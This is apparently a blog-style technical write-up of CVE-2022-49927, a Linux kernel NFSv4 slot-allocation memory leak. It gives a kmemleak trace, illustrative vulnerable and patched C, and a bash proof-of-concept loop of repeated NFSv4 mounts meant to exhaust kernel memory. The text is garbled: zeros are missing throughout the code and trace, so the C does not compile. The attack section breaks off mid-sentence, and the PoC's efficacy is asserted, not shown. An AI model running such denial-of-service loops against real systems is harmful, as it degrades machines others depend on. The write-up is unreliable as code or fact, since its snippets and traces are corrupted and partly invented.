CVE-2022-49927 - Linux Kernel “nfs4” Memory Leak Fixed – Technical Deep Dive & Exploit Details

CVE-2022-49927 is a memory leak vulnerability that was present in the Linux kernel's NFSv4 (Network File System version 4) subsystem. The bug happens when a failure occurs while allocating slots for NFS sessions and the kernel does not correctly clean up previously allocated slots. This can result in “unreferenced” memory objects persisting in the kernel, leading to a memory leak (specifically detected and reported by kmemleak).

This post will break down the bug, showcase the original code, explain how the vulnerability can be triggered, display real traces, and provide links to patches and references.

What is NFS4 and Slot Allocation?

NFSv4 enables Linux systems to share files over a network. When a client connects, it creates session slots to handle concurrent RPC requests. Slot allocation is critical—if one slot allocation fails mid-process, the code should clean up what it already allocated prior to failure.

Where’s the Bug?

The issue resides in situations where not all slots are successfully allocated. Upon a failure, the function should free all previously allocated slots before returning. However, the buggy version failed to do that, leaking memory.

kmemleak reported the issue. Here’s a sample trace (from a failed NFS mount)

unreferenced object xffff8881115aa100 (size 64):
  comm "mount.nfs", pid 679, jiffies 4294744957 (age 115.037s)
  hex dump (first 32 bytes):
    00 cc 19 73 81 88 ff ff 00 a 5a 11 81 88 ff ff  ...s......Z.....
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  backtrace:
    [<000000007a4c434a>] nfs4_find_or_create_slot+x8e/x130
    [<000000005472a39c>] nfs4_realloc_slot_table+x23f/x270
    [<00000000cd8caeb>] nfs40_init_client+x4a/x90
    [<00000000128486db>] nfs4_init_client+xce/x270
    [<000000008d2cacad>] nfs4_set_client+x1a2/x2b
    [<000000000e593b52>] nfs4_create_server+x300/x5f
    [<00000000e4425dd2>] nfs4_try_get_tree+x65/x110
    [<00000000d3a6176f>] vfs_get_tree+x41/xf
    [<0000000016b5ad4c>] path_mount+x9b3/xdd
    [<00000000494cae71>] __x64_sys_mount+x190/x1d
    [<000000005d56bdec>] do_syscall_64+x35/x80
    [<00000000687c9ae4>] entry_SYSCALL_64_after_hwframe+x46/xb

Vulnerable Code Example

The bug specifically lived in the slot table allocation logic in the NFS4 codebase. Here’s a pseudocode/real code blend to illustrate the flaw:

// In nfs4_realloc_slot_table()

for (i = ; i < num; i++) {
    slot = kmalloc(sizeof(*slot), GFP_KERNEL);
    if (!slot) {
        // Oops! We fail to allocate. 
        // The broken code does NOT clean up previously allocated slots here!
        return -ENOMEM; 
    }
    // Store slot pointer somewhere...
}

What should happen: When a slot allocation fails, previously allocated memory must be freed.

Real-World Impact

- Leaked kernel memory: Each failed NFSv4 mount that hits this bug will leak a little kernel memory (per slot allocated up to the failure).
- Denial-of-Service potential: Malicious or misconfigured software could deliberately trigger this repeatedly, leading to gradual consumption of precious kernel memory.
- Hard to detect: Memory leaks accumulate over time, and may only trigger system instability after much repetition.

How an Attacker Might Exploit

While not directly a code execution or privilege escalation bug, a knowledgeable user or attacker could:

Proof-of-Concept Exploit Snippet

#!/bin/bash
# PoC: abuse memory leak in Linux NFS4 slot allocation (CVE-2022-49927)

while true; do
    mount -t nfs4 -o vers=4.2,bg,soft,proto=tcp badserver:/nonexistent /mnt/tmp
    umount /mnt/tmp
done

On a vulnerable kernel, this loop will gradually leak memory as slot allocations fail but are not properly freed.

The Fix

The fix is straightforward: free all previously allocated slots if an allocation fails.

Here’s what the fixed code does (abstracted)

for (i = ; i < num; i++) {
    slot = kmalloc(sizeof(*slot), GFP_KERNEL);
    if (!slot) {
        // Cleanup: free all previously allocated slots
        while (i-- > ) {
            kfree(slots[i]);
        }
        return -ENOMEM;
    }
    slots[i] = slot;
}
// success: use slot table

Patch reference:
- linux-nfs commit: “nfs4: Fix kmemleak when allocate slot failed”

Use sudo dmesg and look for kmemleak warnings.

- Use cat /sys/kernel/debug/kmemleak on a system with CONFIG_DEBUG_KMEMLEAK enabled.

Conclusion

While CVE-2022-49927 may seem minor, kernel memory leaks can have major consequences for long-lived systems. This exclusive, in-depth explanation shows how a simple missed cleanup check in slot allocation introduced a leak in widely-used Linux distributions — and how you can both detect and defend against it. Patch up, stay safe!

*Written exclusively for you. All content original & tailored for clarity!*

Timeline

Published on: 05/01/2025 15:16:18 UTC
Last modified on: 05/07/2025 13:28:39 UTC